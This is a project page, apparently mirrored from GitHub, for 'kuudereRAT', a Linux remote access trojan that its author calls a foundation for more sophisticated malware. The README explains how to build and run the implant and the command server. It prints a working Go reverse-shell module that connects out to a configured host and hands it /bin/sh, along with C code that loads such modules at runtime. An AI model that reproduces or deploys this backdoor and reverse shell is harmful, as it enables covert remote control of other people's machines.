Coder Social home page Coder Social logo

superswan / kuudererat Goto Github PK

View Code? Open in Web Editor NEW
7.0 2.0 2.0 7.04 MB

Simple Linux RAT. Foundation for more sophisticated malware.

Makefile 1.89% C 41.76% Shell 7.22% Go 37.74% CSS 4.86% HTML 5.06% JavaScript 1.46%
rat persistence dlopen shared-library backdoor reverse-shell implant

kuudererat's Introduction

kuudereRAT

experimental modular RAT

Usage

in src/server directory edit main.go and select options for listener the default is set to listen on 0.0.0.0:23855 and the webserver to be started on 8080

Functionality

Phones home to server repeatedly. Tasks are written as modules in Go and the implant will pick up and run a task if one is available.

Implant

Current fully functional implant is src/client/simplant/implant.c and it can be built with gcc -o implant implant.c -ldl

The implant is run on the target host with ./implant <ipaddr> <port>

desu.sh is a script that will copy the code to a file and then compile and execute the implant.

Future versions will enable this script to be loaded remotely and executed from memory.

Running

go run main.go to startup the server and web interface. Tasks are loaded through the web interface.

Modules

Modules are written in Go and compiled to shared library (.so) for Linux hosts. This is a simple reverse shell module example. Function runModule() is exported and gets called by the implant starting a "go routine" for the shellStart() function. The implant is designed to create a function pointer to runModule() and any subsequent models should use this example format.

In this instance buildmodule.sh <ip> <port> is used to set the target host information at buildtime.

package main

import (
	"C"
	"net"
	"os/exec"
)

var Host string

func shellStart() {
	conn, err := net.Dial("tcp", Host)
	if (err != nil) {
		return
	}
	cmd := exec.Command("/bin/sh")
	cmd.Stdin=conn
	cmd.Stdout=conn
	cmd.Stderr=conn
	cmd.Run()
}

//export runModule
func runModule() {
	go shellStart()
}

func main() {}

Code responsible for running modules on implant. Theoretically could run any program compiled to a shared library and with runModule() function exported.

void *handle;
const char* error_msg;
void (*execute)(void);

handle = dlopen(path, RTLD_LAZY);
if ( !handle ) {
    fprintf(stderr, "%s\n", dlerror());
    break; 
}
close(afd);
dlerror();
execute = dlsym(handle, "runModule");
error_msg = dlerror();
if ( error_msg ) {
    fprintf(stderr, "Error accessing function %s \n", error_msg);
    break;
}

(*execute)();
dlclose(handle);

TODO

A lot lol. Main focuses are encryption, windows implant, and improving the web interface (module settings, implant generation, config options)

kuudererat's People

Contributors

superswan avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

Forkers

pttsync axax002

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.